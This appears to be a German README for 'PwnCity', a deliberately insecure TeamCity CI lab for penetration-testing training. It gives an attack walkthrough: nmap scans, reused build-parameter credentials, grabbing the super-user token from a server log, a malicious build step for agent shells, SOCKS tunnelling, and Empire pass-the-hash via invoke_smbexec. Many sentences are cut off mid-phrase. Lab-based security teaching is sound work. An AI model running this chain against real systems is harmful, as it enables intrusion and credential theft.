
Unsichere TeamCity-CI-Umgebung für praxisnahes Penetrationstest-Training: Aufklärung, Diebstahl von Zugangsdaten, Privilegienerweiterung und laterale Bewegung.
Eine unsicher konfigurierte TeamCity-Continuous-Integration-Umgebung.
In Arbeit: Bereitstellungscode kommt bald irgendwann .

Es gibt möglicherweise mehr als einen Weg durch PwnCity, aber dies ist der, den ich am 24. Februar beim Treffen des OWASP Sacramento Chapter vorstellen werde.
Hinweis: Die operative Sicherheit wird hier weitgehend ignoriert, da dies eine Demo ist.
nmap -Pn -p- 52.234.0.18.
nmap 52.234.0.18, als wäre sie tot.nmap -Pn 52.234.0.18.


bob mit dem Passwort bobhacks?.
bob zu Projects > SimpleMavenSample > Build > Settings.Parameters Anmeldedaten enthält.

ssh [email protected] wiederverwendet werden, und melde dich per SSH als Benutzer mit geringen Rechten an.

Wir könnten von unserem ersten Zugang aus tunneln. Da wir wissen, dass RDP auf zwei Build-Agents geöffnet ist, könnten wir versuchen, uns mit den gefundenen Anmeldedaten zu authentifizieren ... aber das macht nicht so viel Spaß.
cat /home/dev/TeamCity/TeamCity/logs/teamcity-server.log | grep "Super user".

Administration > Projects > Create project und erhalte eine Shell auf den Build-Agents.

cmd.exe/c %system.teamcity.build.checkoutDir%/launcher.bat
Zugangsdaten, gewählt aus rockyou.txt.
PwnAgent01 hat Microsoft Defender aktiviert. Obwohl es sicherlich weiterhin möglich ist, diesen zu überwinden, wird der von uns demonstrierte schädliche Build-Schritt blockiert.



Dieser Abschnitt ist lediglich eine Sammlung von Snippets, die bei der Verwaltung der Laborumgebung nützlich waren.
TeamCity-Host durch, um auf lokale Ressourcen zuzugreifen: ssh -D 9050 [email protected].proxychains4 xfreerdp /u:dev /v:10.0.0.6:3389.
... neben Run und dann den gewünschten Agenten, den du anvisierst. Wenn alles gut geht, meldet sich ein Agent zurück.

powershell/situational_awareness/network/portscan aus. Stelle fest, dass auf 10.0.0.7 die Ports 3389,445,139,135 alle geöffnet sind.

brunos Passwort zu erhalten.powershell/lateral_movement/invoke_smbexec aus, um über den NTML-Hash einen Beacon auf Bruno-PC zu erhalten.
